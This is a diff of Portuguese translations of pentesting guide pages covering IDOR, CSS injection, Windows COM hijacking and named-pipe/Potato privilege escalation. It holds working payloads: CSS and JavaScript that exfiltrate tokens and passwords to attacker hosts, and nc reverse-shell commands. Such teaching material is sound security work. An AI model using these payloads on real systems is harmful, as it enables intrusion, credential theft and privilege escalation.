b/src/pentesting-web/idor.md index 45bbe32e3..f46f417b2 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,10 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar que o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite horizontal ou vertical privilege-escalation, como ler ou modificar os dados de outros usuários e, no pior caso, account takeover completo ou mass-data exfiltration. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. +A exploração bem-sucedida normalmente permite elevação de privilégios horizontal ou vertical, como leitura ou modificação de dados de outros usuários e, no pior cenário, sequestro total da conta ou exfiltração massiva de dados. --- -## 1. Identificando possíveis IDORs +## 1. Identificando potenciais IDORs 1. Procure por **parâmetros que referenciam um objeto**: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` @@ -13,9 +14,9 @@ IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOL * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` 2. Prefira endpoints que **leem ou atualizam** dados (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Repare quando os identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe. -4. Explore fluxos ocultos ou alternativos (p.ex. link *"Paradox team members"* em páginas de login) que podem expor APIs extras. -5. Use uma **sessão autenticada de baixo privilégio** e altere apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização geralmente é um sinal de IDOR. +3. Observe quando identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe. +4. Explore fluxos ocultos ou alternativos (por exemplo *"membros da equipe Paradox"* em páginas de login) que possam expor APIs adicionais. +5. Use uma sessão **autenticada com privilégios baixos** e altere apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização geralmente é um sinal de IDOR. ### Manipulação manual rápida (Burp Repeater) ``` @@ -35,67 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` -### Oracle de resposta de erro para enumeração de usuário/arquivo +### Oráculo de resposta de erro para enumeração de usuário/arquivo -Quando um endpoint de download aceita tanto um username quanto um filename (por exemplo `/view.php?username=&file=`), diferenças sutis nas mensagens de erro frequentemente criam um oracle: +Quando um endpoint de download aceita tanto um username quanto um filename (e.g. `/view.php?username=&file=`), diferenças sutis nas mensagens de erro frequentemente criam um oráculo: -- Username inexistente → "User not found" -- Filename inválido mas extension válida → "File does not exist" (às vezes também lista arquivos disponíveis) -- Extension inválida → validation error +- username inexistente → "User not found" +- filename inválido mas extensão válida → "File does not exist" (às vezes também lista arquivos disponíveis) +- extensão inválida → erro de validação -Com qualquer sessão autenticada, você pode fuzzar o parâmetro username enquanto mantém um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos: +Com qualquer sessão autenticada, você pode fuzz o parâmetro username mantendo um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Uma vez identificados nomes de usuário válidos, solicite arquivos específicos diretamente (por exemplo, `/view.php?username=amanda&file=privacy.odt`). Esse padrão frequentemente leva à divulgação não autorizada de documentos de outros usuários e credential leakage. +Uma vez que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, `/view.php?username=amanda&file=privacy.odt`). Esse padrão costuma levar à divulgação não autorizada de documentos de outros usuários e credential leakage. --- -## 2. Estudo de Caso do Mundo Real – Plataforma Chatbot McHire (2025) +## 2. Estudo de Caso do Mundo Real – McHire Chatbot Platform (2025) -Durante uma avaliação do portal de recrutamento **McHire**, alimentado por Paradox.ai, o seguinte IDOR foi descoberto: +Durante uma avaliação do portal de recrutamento Paradox.ai-powered **McHire**, o seguinte IDOR foi descoberto: * Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: user session cookie para **qualquer** conta de teste de restaurante -* Body parameter: `{"lead_id": N}` – identificador numérico de 8 dígitos, **sequencial** +* Authorization: cookie de sessão do usuário para **qualquer** conta de teste de restaurante +* Body parameter: `{"lead_id": N}` – identificador numérico **sequencial** de 8 dígitos -Ao diminuir `lead_id` o testador recuperou a **PII** completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** de consumidor que permitiu session hijacking. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros. +Ao diminuir `lead_id`, o testador recuperou candidatos arbitrários’ **full PII** (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** do consumidor que permitia session hijacking. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros. -Requisição de Prova de Conceito: +Proof-of-Concept request: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combinada com **default admin credentials** (`123456:123456`) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa. +Combinada com as **credenciais administrativas padrão** (`123456:123456`) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa. --- ## 3. Impacto de IDOR / BOLA -* Escalada horizontal – ler/atualizar/deletar dados de **outros usuários’**. -* Escalada vertical – usuário com baixos privilégios obtém funcionalidade restrita a admin. -* Violação massiva de dados se os identificadores forem sequenciais (ex.: IDs de candidatos, faturas). -* Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários. +* Escalonamento horizontal – ler/atualizar/excluir dados de **outros usuários**. +* Escalonamento vertical – usuário com baixos privilégios ganha funcionalidade exclusiva de admin. +* Violação massiva de dados se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas). +* Sequestro de contas ao roubar tokens ou redefinir senhas de outros usuários. --- -## 4. Mitigações & Boas Práticas -1. **Implemente autorização ao nível do objeto** em cada requisição (`user_id == session.user`). -2. Prefira **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais. -3. Realize a autorização **no servidor**, nunca confie em campos de formulário ocultos ou controles de UI. +## 4. Mitigações & Best Practices +1. **Impor autorização em nível de objeto** em cada requisição (`user_id == session.user`). +2. Prefira **identificadores indiretos e não previsíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais. +3. Realize autorização **server-side**, nunca confie em campos de formulário ocultos ou controles da UI. 4. Implemente verificações **RBAC / ABAC** em um middleware central. 5. Adicione **rate-limiting & logging** para detectar enumeração de IDs. -6. Teste de segurança todo novo endpoint (testes unitários, de integração e DAST). +6. Teste de segurança em cada novo endpoint (unit, integration, and DAST). --- -## 5. Ferramentas +## 5. Tooling * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## Referências +## References * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index fbdb4fc0b..09f133958 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -19,29 +19,29 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`), pois elementos ocultos não carregam imagens de fundo. +No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`) porque elementos ocultos não carregam imagens de fundo. #### Bypass para Elementos Ocultos -Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada: +Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador geral de irmãos `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Um exemplo prático de exploração dessa técnica está detalhado no trecho de código fornecido. Você pode visualizá-lo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Pré-requisitos para CSS Injection -Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas: +Para que a técnica CSS Injection seja efetiva, certas condições devem ser atendidas: -1. **Payload Length**: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados. -2. **CSS Re-evaluation**: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados. +1. **Payload Length**: O vetor de injeção CSS precisa suportar payloads suficientemente longos para acomodar os seletores criados. +2. **CSS Re-evaluation**: Você deve ter a capacidade de carregar a página dentro de um frame, o que é necessário para acionar a reavaliação do CSS com payloads gerados dinamicamente. 3. **External Resources**: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site. ### Blind Attribute Selector -Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.\ +Como [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos não observáveis. Isso é muito útil quando você não tem ideia do que existe na página que carrega a CSS Injection.\ Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em: ```html ``` -### Captura de senhas Auto-fill +### Auto-fill passwords capture ```javascript Username:
@@ -1420,13 +1421,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. +Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante; mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão ex-filtrated. -### Hijack form handlers to exfiltrate credentials (const shadowing) +### Interceptar manipuladores de formulário para exfiltrar credenciais (const shadowing) -Quando qualquer dado é inserido no campo password, o username e a password são enviados para o attacker's server; mesmo que o cliente selecione uma password salva e não escreva nada, as credenciais serão exfiltradas. - -Se um handler crítico (por exemplo, `function DoLogin(){...}`) for declarado mais abaixo na página, e seu payload for executado antes (por exemplo, via um inline JS-in-JS sink), defina primeiro um `const` com o mesmo nome para antecipar e bloquear o handler. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle: +Se um manipulador crítico (p.ex., `function DoLogin(){...}`) for declarado mais tarde na página, e seu payload rodar antes (p.ex., via um inline JS-in-JS sink), defina um `const` com o mesmo nome primeiro para antecipar e bloquear o manipulador. Declarações de função posteriores não podem reatribuir um nome `const`, deixando seu hook no controle: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,9 +1434,9 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Notas -- Isto depende da ordem de execução: sua injeção deve ser executada antes da declaração legítima. -- Se seu payload estiver envolvido em `eval(...)`, `const/let` bindings não se tornarão globals. Use a injeção dinâmica ` ``` -### Roubando mensagens do PostMessage +### Roubando mensagens PostMessage ```html ``` -4) Acionamento – abrir o IE, um aplicativo que incorpora o WebBrowser control, ou mesmo atividades rotineiras do Explorer carregarão o TypeLib e executarão o scriptlet, rearmando sua chain no logon/reboot. +4) Acionamento – abrir o IE, um aplicativo que incorpore o WebBrowser control, ou mesmo atividade rotineira do Explorer carregará o TypeLib e executará o scriptlet, rearmando sua cadeia no logon/reboot. Limpeza ```powershell @@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` Notas -- Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o `LIBID` real em `HKCR\CLSID\{CLSID}\TypeLib` primeiro. -- Em sistemas 64-bit você também pode popular a subchave `win64` para consumidores 64-bit. +- Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o real `LIBID` a partir de `HKCR\CLSID\{CLSID}\TypeLib` primeiro. +- Em sistemas 64-bit, você também pode preencher a subchave `win64` para consumidores 64-bit. ## Referências diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 6c582d4c3..46494c528 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation é uma primitiva de escalada de privilégios local que permite que uma thread de servidor de named-pipe adote o contexto de segurança de um cliente que se conecta a ela. Na prática, um atacante que consiga executar código com SeImpersonatePrivilege pode forçar um cliente privilegiado (por exemplo, um serviço SYSTEM) a conectar-se a um pipe controlado pelo atacante, chamar ImpersonateNamedPipeClient, duplicar o token resultante em um token primário e criar um processo como o cliente (frequentemente NT AUTHORITY\SYSTEM). +Named Pipe client impersonation é um primitivo de elevação de privilégio local que permite que uma thread de server de named-pipe adote o contexto de segurança de um cliente que se conecta a ela. Na prática, um atacante que consegue executar código com SeImpersonatePrivilege pode forçar um cliente privilegiado (por exemplo, um serviço SYSTEM) a conectar-se a um pipe controlado pelo atacante, chamar ImpersonateNamedPipeClient, duplicar o token resultante em um token primário e spawnar um processo como o cliente (frequentemente NT AUTHORITY\SYSTEM). -Esta página foca na técnica principal. Para cadeias de exploit ponta a ponta que forçam o SYSTEM a conectar-se ao seu pipe, veja as páginas da Potato family referenciadas abaixo. +Esta página foca na técnica central. Para cadeias de exploit ponta a ponta que forçam SYSTEM a conectar-se ao seu pipe, veja as páginas da família Potato referenciadas abaixo. ## TL;DR - Crie um named pipe: \\.\pipe\ e aguarde uma conexão. - Faça um componente privilegiado conectar-se a ele (spooler/DCOM/EFSRPC/etc.). -- Leia pelo menos uma mensagem do pipe e, em seguida, chame ImpersonateNamedPipeClient. -- Abra o token de impersonação da thread atual, DuplicateTokenEx(TokenPrimary) e CreateProcessWithTokenW/CreateProcessAsUser para obter um processo SYSTEM. +- Leia ao menos uma mensagem do pipe, então chame ImpersonateNamedPipeClient. +- Abra o token de impersonation da thread atual, DuplicateTokenEx(TokenPrimary) e use CreateProcessWithTokenW/CreateProcessAsUser para obter um processo SYSTEM. ## Requisitos e APIs principais -- Privilégios tipicamente necessários pelo processo/thread que realiza a chamada: -- SeImpersonatePrivilege para impersonar com sucesso um cliente que se conecta e para usar CreateProcessWithTokenW. -- Alternativamente, após impersonar o SYSTEM, você pode usar CreateProcessAsUser, o que pode requerer SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (estes são satisfeitos quando você está impersonando o SYSTEM). -- APIs principais usadas: +- Privilégios tipicamente necessários pelo processo/thread que chama: +- SeImpersonatePrivilege para conseguir impersonar com sucesso um cliente que conecta e para usar CreateProcessWithTokenW. +- Alternativamente, após impersonar SYSTEM, você pode usar CreateProcessAsUser, que pode requerer SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (estes são satisfeitos quando você está impersonando SYSTEM). +- APIs centrais usadas: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (é necessário ler pelo menos uma mensagem antes da impersonação) -- ImpersonateNamedPipeClient and RevertToSelf +- ReadFile/WriteFile (é preciso ler ao menos uma mensagem antes da impersonation) +- ImpersonateNamedPipeClient e RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) -- CreateProcessWithTokenW or CreateProcessAsUser -- Nível de impersonação: para executar ações úteis localmente, o cliente deve permitir SecurityImpersonation (padrão para muitos clientes RPC/named-pipe locais). Clientes podem reduzir isso com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ao abrir o pipe. +- CreateProcessWithTokenW ou CreateProcessAsUser +- Nível de impersonation: para executar ações úteis localmente, o cliente deve permitir SecurityImpersonation (padrão para muitos clientes RPC/named-pipe locais). Clientes podem reduzir isso com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ao abrir o pipe. ## Fluxo Win32 mínimo (C) ```c @@ -68,12 +68,11 @@ RevertToSelf(); // Restore original context return 0; } ``` -Notas: -- Se ImpersonateNamedPipeClient retornar ERROR_CANNOT_IMPERSONATE (1368), certifique-se de ler do pipe primeiro e de que o cliente não tenha restringido a impersonação ao nível Identification. -- Prefira DuplicateTokenEx com SecurityImpersonation e TokenPrimary para criar um token primário adequado para criação de processo. +- Se ImpersonateNamedPipeClient retornar ERROR_CANNOT_IMPERSONATE (1368), verifique se você leu do pipe primeiro e se o cliente não restringiu a impersonação ao nível Identification. +- Prefira DuplicateTokenEx com SecurityImpersonation e TokenPrimary para criar um token primário adequado para criação de processos. -## .NET exemplo rápido -Em .NET, NamedPipeServerStream pode impersonar via RunAsClient. Uma vez que estiver impersonando, duplique o token da thread e crie um processo. +## Exemplo rápido em .NET +No .NET, NamedPipeServerStream pode impersonar via RunAsClient. Uma vez impersonando, duplique o token da thread e crie um processo. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,8 +92,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Gatilhos/coerções comuns para trazer SYSTEM ao seu named pipe -Essas técnicas forçam serviços privilegiados a se conectar ao seu named pipe para que você possa impersoná-los: +## Gatilhos/coerções comuns para fazer com que o SYSTEM se conecte à sua named pipe +Essas técnicas forçam serviços privilegiados a se conectar à sua named pipe para que você possa impersonate eles: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) @@ -110,27 +109,27 @@ roguepotato-and-printspoofer.md juicypotato.md {{#endref}} -Se você só precisa de um exemplo completo de como criar o pipe e impersonar para iniciar um processo como SYSTEM a partir de um gatilho de serviço, veja: +Se você só precisa de um exemplo completo de como criar a pipe e impersonate para spawn SYSTEM a partir de um gatilho de serviço, veja: - {{#ref}} from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Solução de problemas e armadilhas -- Você deve ler pelo menos uma mensagem do pipe antes de chamar ImpersonateNamedPipeClient; caso contrário, receberá ERROR_CANNOT_IMPERSONATE (1368). -- Se o cliente conectar-se com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, o servidor não pode impersonar totalmente; verifique o nível de impersonação do token via GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW requer SeImpersonatePrivilege no chamador. Se isso falhar com ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser depois que você já tiver impersonado SYSTEM. -- Garanta que o security descriptor do seu pipe permita que o serviço alvo conecte-se caso você o tenha endurecido; por padrão, pipes sob \\.\pipe são acessíveis de acordo com o DACL do servidor. +## Solução de problemas e cuidados +- Você deve ler ao menos uma mensagem da pipe antes de chamar ImpersonateNamedPipeClient; caso contrário receberá ERROR_CANNOT_IMPERSONATE (1368). +- Se o cliente conectar com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, o servidor não pode realizar impersonation completo; verifique o nível de impersonation do token via GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW requer SeImpersonatePrivilege no chamador. Se isso falhar com ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser depois de já ter impersonated SYSTEM. +- Assegure que o security descriptor da sua pipe permita que o serviço alvo se conecte caso você o endureça; por padrão, pipes sob \\.\pipe são acessíveis de acordo com a DACL do servidor. ## Detecção e hardening -- Monitore a criação e conexões de named pipes. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) são úteis para estabelecer uma linha de base de nomes de pipe legítimos e detectar pipes incomuns, com aparência aleatória, que precedem eventos de manipulação de token. -- Procure por sequências: processo cria um pipe, um serviço SYSTEM conecta-se, então o processo que criou gera um processo filho como SYSTEM. +- Monitore criação e conexões de named pipes. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) são úteis para criar uma baseline de nomes de pipe legítimos e detectar pipes incomuns, com aparência aleatória, que precedem eventos de manipulação de token. +- Procure por sequências: processo cria uma pipe, um serviço SYSTEM se conecta, então o processo criador gera um processo filho como SYSTEM. - Reduza a exposição removendo SeImpersonatePrivilege de contas de serviço não essenciais e evitando logons de serviço desnecessários com privilégios elevados. -- Desenvolvimento defensivo: ao conectar-se a named pipes não confiáveis, especifique SECURITY_SQOS_PRESENT com SECURITY_IDENTIFICATION para evitar que servidores impersonem completamente o cliente, salvo quando necessário. +- Desenvolvimento defensivo: ao conectar a named pipes não confiáveis, especifique SECURITY_SQOS_PRESENT com SECURITY_IDENTIFICATION para impedir que servidores impersonateiem totalmente o cliente, a menos que necessário. ## Referências -- Windows: ImpersonateNamedPipeClient documentation (requisitos e comportamento de impersonação). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient -- ired.team: Windows named pipes privilege escalation (guia passo a passo e exemplos de código). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +- Windows: ImpersonateNamedPipeClient documentation (requisitos e comportamento de impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (passo a passo e exemplos de código). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 8a209dc49..abc2b3b76 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`. Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda no `PrintSpoofer`, que pode ser usado para abusar de impersonation privileges em hosts Windows 10 e Server 2019 onde o JuicyPotato não funciona mais. +> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] -> Uma alternativa moderna frequentemente mantida em 2024–2025 é SigmaPotato (um fork do GodPotato) que adiciona uso em-memory/.NET reflection e suporte estendido ao SO. Veja uso rápido abaixo e o repo em Referências. +> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. Related pages for background and manual techniques: @@ -24,10 +24,10 @@ privilege-escalation-abusing-tokens.md ## Requisitos e armadilhas comuns -Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que possua um destes privilégios: +Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha qualquer um destes privilégios: - SeImpersonatePrivilege (o mais comum) ou SeAssignPrimaryTokenPrivilege -- Integridade elevada não é necessária se o token já possuir SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.) +- Integridade elevada não é necessária se o token já tiver SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.) Verifique privilégios rapidamente: ```cmd @@ -35,10 +35,10 @@ whoami /priv | findstr /i impersonate ``` Notas operacionais: -- PrintSpoofer precisa do serviço Print Spooler em execução e acessível através do endpoint RPC local (spoolss). Em ambientes com hardening onde o Spooler está desabilitado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Versões mais antigas exigiam a flag -f. +- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes endurecidos onde o Spooler foi desativado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Builds mais antigas precisavam da flag -f. - EfsPotato/SharpEfsPotato abusam de MS-EFSR; se um pipe estiver bloqueado, tente pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon). -- O erro 0x6d3 durante RpcBindingSetAuthInfo normalmente indica um serviço de autenticação RPC desconhecido/não suportado; tente um pipe/transporte diferente ou verifique se o serviço alvo está em execução. +- O erro 0x6d3 durante RpcBindingSetAuthInfo geralmente indica um serviço de autenticação RPC desconhecido/não suportado; tente outro pipe/transporte ou verifique se o serviço alvo está em execução. ## Demonstração Rápida @@ -58,7 +58,7 @@ NULL ``` Notas: -- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um one-liner. +- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um comando de uma linha. - Requer o serviço Spooler. Se estiver desativado, isso falhará. ### RoguePotato @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Se o tráfego de saída pela porta 135 estiver bloqueado, pivot o OXID resolver via socat no seu redirector: +Se a porta 135 de saída estiver bloqueada, pivot o OXID resolver via socat no seu redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Dica: Se um pipe falhar ou o EDR bloqueá-lo, tente os outros pipes suportados: +Dica: Se um pipe falhar ou o EDR o bloquear, tente os outros pipes suportados: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notas: -- Funciona em Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente. +Notes: +- Funciona no Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato fornece duas variantes que têm como alvo objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binários fornecidos e execute seu comando: +DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binaries fornecidos e execute seu comando: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (fork atualizado do GodPotato) +### SigmaPotato (fork do GodPotato atualizado) 